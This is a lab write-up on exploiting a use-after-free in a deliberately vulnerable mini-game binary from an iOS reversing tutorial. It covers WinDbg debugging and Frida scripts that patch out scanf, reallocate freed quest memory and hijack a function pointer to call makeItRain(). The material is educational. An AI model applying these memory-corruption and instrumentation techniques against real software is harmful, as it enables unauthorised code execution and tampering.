# Intro Over the weekend I was `perusing the interwebs` and I found a series of posts by [@inversecos](https://twitter.com/inversecos). I have listed the parts out below. - [How to Reverse Engineer and Patch an iOS Application for Beginners: Part I](https://www.inversecos.com/2022/06/how-to-reverse-engineer-and-patch-ios.html) - [Guide to Reversing and Exploiting iOS binaries Part 2: ARM64 ROP Chains](https://www.inversecos.com/2022/06/guide-to-reversing-and-exploiting-ios.html) - [Heap Overflows on iOS ARM64: Heap Spraying, Use-After-Free (Part 3)](https://www.inversecos.com/2022/07/heap-overflows-on-ios-arm64-heap.html) A really great resources for a `layperson`, like me, and I can recommend them with confidence. Anyway, I was curious about the binary exploitation challenge in the third part. First, of course, I thought about setting up an `Arm64 VM` but ain't nobody got time for that. Luckily [the source](https://github.com/inversecos/ios-moneymachine) is also available so I just compiled it for `x64`. ![[MoMoney-1.png]] There is also an opportunity here to test for behavioural differences based on the architecture (there are none FYI). Our plan is to first replicate the `UAF` and then show how we can use `Frida` to `autopwn` the binary. ``` You can’t saye him down with ye fformula, for that will Worke only upon such as ye other fformula hath call’d up from Saltes; but you still have strong Handes and Knife and Pistol, and Graves are not harde to digg, nor Acids loth to burne. ``` # Salting the battlefield ### Preface You have access to the source and the post, of course, but I will only be showing `BinaryNinja` decompiled output. I went into this blind more-or-less and looked at the write-up afterwards so we will go through that same experience here. ### What is the objective? The binary is like a small mini-game. There is apparently some `l3git` item we can buy if we have enough gold. But we don't clearly.. ![[MoMoney-2.png]] We can decompile the `buyItems()` function to have a look at it. ![[MoMoney-3.png]] Ok, interesting, we need `999999` gold to play this game, `#Pay2Win` mentality. But how can we get more gold? Looking through the binary there is another function that jumps out, `makeItRain()`. ![[MoMoney-4.png]] This function increments our gold counter by a sufficient amount but there is no way to call it natively.. ### How about p0wn? Below you have the full `main` function. Notice a few things here: - We have a `scanf` loop asking for input in `%d` format. - We have `7` cases really, even though only `6` are relevant (more on that later). - We can see that in `case 2` (`[2] New quest`) the binary mallocs `0x80 bytes` and populates a static quest (`Goblin Diplomacy`), then at an offset of `0x20` in that allocation it writes a reference to a function call, `listQuests()`. - We can see also that in `case 5` (`[5] Leave quests`), if we have a quest, we `Free` it. - `case 3` (`[3] Available quests`), finally, calls the function pointer set by `case 2`. Clearly there is an issue here, if do `new quest -> free -> list`, then we will be calling a pointer from `Free'd` memory. Note also that if you call `Available Quests` before `New Quest` you will actually crash the program. ![[MoMoney-5.png]] This is a pretty clear `UAF`. One thing we need to touch on though is how we can replace the `Free'd` object. Conveniently, `case 4` (`[4] Import items`) mallocs an object of the same size (`0x80 bytes`) from attacker controlled data (a file in this case). ### Debug Let's have a look in `WinDbg`. We will break in `case 2` right after the data has been populated. ![[MoMoney-6.png]] As expected we see the quest has been allocated and at an offset of `0x20` we have a pointer to `listQuests()`. ![[MoMoney-7.png]] Let's quickly make a dummy `Item File` that matches the same format. Something like this. ![[MoMoney-8.png]] If we free the quest and then read our file into memory (a few times, maybe) we should be able to reuse the previous address. The binary will then try to call `0x4141414141414141` if we list available quests. We don't have any info leaks in the program but we can look up the runtime address of our target function (`makeItRain()`). ![[MoMoney-9.png]] You can see the full chain below. It's kind of surprising right that `Malloc` has such bad entropy? ![[MoMoney-10.png]] After reading the file we can get our `l3git` item as expected. ![[MoMoney-11.png]] # Binary Instrumentation What about `autopwn` though? Clearly if we are executing in-process we can cheat *A LOT*, something my `Frida course students` will be accustomed to! I will give you an example where we cheat but also an example were we actually exploit the `UAF` (in spirit). ### Much cheat, such skill There are many options naturally: - We can manipulate our `money counter` - We can make a native function call to `makeItRain()` - We can hook and modify `buyItems()` - We can rewrite `case 2` so it sets a pointer to `makeItRain()` instead of `listQuests()` - We can substitute the `listQuests()` pointer in a quest allocation - ... And other variations of these. Let's just do the easy thing here, we can calculate the static offset for the money counter and overwrite the `DWORD` in memory. ![[MoMoney-12.png]] ```js // Get pointers //============== let pBase = Module.getBaseAddress("momoneymomadness.exe"); let pMoneyMoney = pBase.add(0x00017030); // Blob the money //============== pMoneyMoney.writeU32(1234567); ``` ![[MoMoney-13.png]] ### How about p0wn? Ok, so I was thinking about this a little bit and it is not totally straight-forward. The main difficulty is that we have to deal with `scanf` pausing the `loop` inside `main` while waiting for input. We have some options, they are all a bit ugly. - We can try to get a handle to `stdin` with `GetStdHandle` and then pass keyboard input with `WriteConsoleInput`. - We can focus the `momoneymomadness` window and pass keyboard input using `SendInput`. This is something we do in the course as well with mouse events. - We can patch the binary to do `something`? I didn't really feel like implementing a bunch of wrappers around [`_INPUT_RECORD`](https://learn.microsoft.com/en-us/windows/console/input-record-str) and / or [`INPUT`](https://learn.microsoft.com/en-us/windows/win32/api/winuser/ns-winuser-input) but you certainly can. I chose door number three, patch the binary `somehow`. If we look again at the `main` function, we can see that there is a tight loop around the cases (`0-6`). We also note, as mentioned previously, that `case 0` actually doesn't do anything it just hops to the next iteration of the loop. ![[MoMoney-14.png]] If we can find out where `menuOption` is being read from we can actually `nop` out the `scanf` call and when we want to trigger a menu option we simply write the number to the memory buffer (and set it back to `0` afterwards). Looking at the assembly it's actually quite easy to tell where the buffer resides whenever the `main` function is called initially. ![[MoMoney-15.png]] We have the buffer at an offset of `RSP` on entering the function. ```js // Get pointers //============== let pBase = Module.getBaseAddress("momoneymomadness.exe"); let pMainLoop = pBase.add(0x0000174e); // Globals //============== let pScanfData = null; // Hooks //============== Interceptor.attach(pMainLoop, { onEnter: function(args) { // 0 @ 0000174e push(rbp) // 1 @ 0000174f rbp = rsp {var_8} // ...... // 24 @ 000017b7 call(scanf) // 25 @ 000017bc eax = [rbp - 0x24 {menuOption}].d send("[?] Leaking scanf buffer.."); let pRSP = this.context.rsp; pScanfData = pRSP.sub(0x24).sub(0x8); send(" |_ " + pScanfData); }, }) ``` With the reference in hand we are free to `nop` the call. We save the original bytes so we can restore them at the end to stop the binary from looping infinitely. ```js // Get pointers //============== let pBase = Module.getBaseAddress("momoneymomadness.exe"); // Pwn function //============== send("[>] Patching out scanf call.."); let pMainFuncCall = pBase.add(0x000017b7); // 000017b7 e824feffff call scanf let aOriginalBytes = pMainFuncCall.readByteArray(5); // save to restore later Memory.protect(pMainFuncCall, 5, 'rwx'); pMainFuncCall.writeByteArray([0x90, 0x90, 0x90, 0x90, 0x90]) ``` At this point the main loop will be running on repeat. We can set a case manually, like so: ```js // Globals //============== let pScanfData = null; // Helpers //============== function setCaseSwitch(caseint) { let pCase = new NativePointer(pScanfData); pCase.writeU32(caseint) } ``` This causes some complications however because execution happens so fast that any delays in triggering a change can be detrimental. To get around this some horrible use of `globals` and DYI `lock` and `wait` functions are used. Generally the exploitation is very similar to doing it in the debugger. - Patch out the `scanf` call - Request a new quest - Record the `Malloc` pointer - Free the quest - Loop a Frida `NativeFunction` call for `Malloc` to reallocate at the same address - Set a pointer to `makeItRain()` at `0x20` offset in the new allocation - Request a list of available quests - Buy the legendary item - Retore the `scanf` call to pause the loop ![[MoMoney-16.gif]] You can see the full script below, it's not a perfect implementation but it is serviceable. ```js // Get pointers //============== let pBase = Module.getBaseAddress("momoneymomadness.exe"); let pMainLoop = pBase.add(0x0000174e); let pMalloc = pBase.add(0x00011b50); let pFree = pBase.add(0x00011ac0); let pCream = pBase.add(0x0000171f); // Globals //============== let pScanfData = null; let bRecordAlloc = true; let bLockRelease = false; let pUseAlloc = null; let count = 0; // Native function call //============== var fMalloc = new NativeFunction(pMalloc, 'pointer', ['uint']); var fFree = new NativeFunction(pFree, 'void', ['pointer']); // Helpers //============== // Trigger specific switch case function setCaseSwitch(caseint) { let pCase = new NativePointer(pScanfData); pCase.writeU32(caseint) } function lockWait() { return new Promise(function(resolve) { var interval = setInterval(function() { if (bLockRelease) { clearInterval(interval); bLockRelease = false; resolve(); } }, 100); }); } function timeWait(seconds) { return new Promise(resolve => { setTimeout(resolve, seconds * 1000); }); } // Hooks //============== Interceptor.attach(pFree, { onEnter: function(args) { send("[?] Free called.."); setCaseSwitch(0); }, }) Interceptor.attach(pMainLoop, { onEnter: function(args) { // 0 @ 0000174e push(rbp) // 1 @ 0000174f rbp = rsp {var_8} // ...... // 24 @ 000017b7 call(scanf) // 25 @ 000017bc eax = [rbp - 0x24 {menuOption}].d send("[?] Leaking scanf buffer.."); let pRSP = this.context.rsp; pScanfData = pRSP.sub(0x24).sub(0x8); send(" |_ " + pScanfData); // With the refference, call pwn pwn(); }, }) Interceptor.attach(pMalloc, { onEnter: function(args) { this.size = args[0]; }, onLeave: function(retval) { // Capture only Quest allocs if(parseInt(this.size) == 0x80 && bRecordAlloc) { send("[?] Malloc called.."); send(" |_ Size : " + this.size); send(" |_ Ptr : " + retval); pUseAlloc = parseInt(retval.toString(), 16); send(hexdump(retval, {length:parseInt(this.size)})); // Reset case switch setCaseSwitch(0); // Stop recording bRecordAlloc = false; // Release lock bLockRelease = true; } } }) // Pwn logic //============== async function pwn() { // We want to nop out scanf so it loops continuously send("[>] Patching out scanf call.."); let pMainFuncCall = pBase.add(0x000017b7); let aOriginalBytes = pMainFuncCall.readByteArray(5); Memory.protect(pMainFuncCall, 5, 'rwx'); pMainFuncCall.writeByteArray([0x90, 0x90, 0x90, 0x90, 0x90]) // Alloc new quest send("[>] Trigger new quest allocation"); setCaseSwitch(2); await lockWait(); // Free the allocation send("[>] Freeing quest.."); fFree(new NativePointer(pUseAlloc)); // Forcing UAF realloc send("[!] Trigger UAF"); var count = 0; while(true) { let uaf = fMalloc(0x80); send(" |_ Malloc -> " + uaf); if (new NativePointer(uaf) == new NativePointer(pUseAlloc) || count > 3) { break; } count +=1; } send("[*] Success reallocated quest memory..") send("[>] Write momoneymomadness"); (new NativePointer(pUseAlloc)).add(32).writePointer(pCream); send("[*] Trigger available quests callback.."); setCaseSwitch(3); await timeWait(0.01); send("[*] Buy legendary item.."); setCaseSwitch(1); await timeWait(0.01); send("[>] Restore scanf call.."); pMainFuncCall.writeByteArray(aOriginalBytes); } ```